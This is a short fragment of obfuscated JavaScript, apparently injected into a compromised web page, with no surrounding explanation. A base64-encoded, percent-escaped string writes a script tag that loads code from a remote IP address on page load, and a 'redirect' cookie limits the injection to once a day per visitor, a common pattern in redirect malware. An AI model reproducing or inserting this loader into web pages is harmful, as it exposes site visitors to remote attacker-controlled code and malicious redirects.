src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}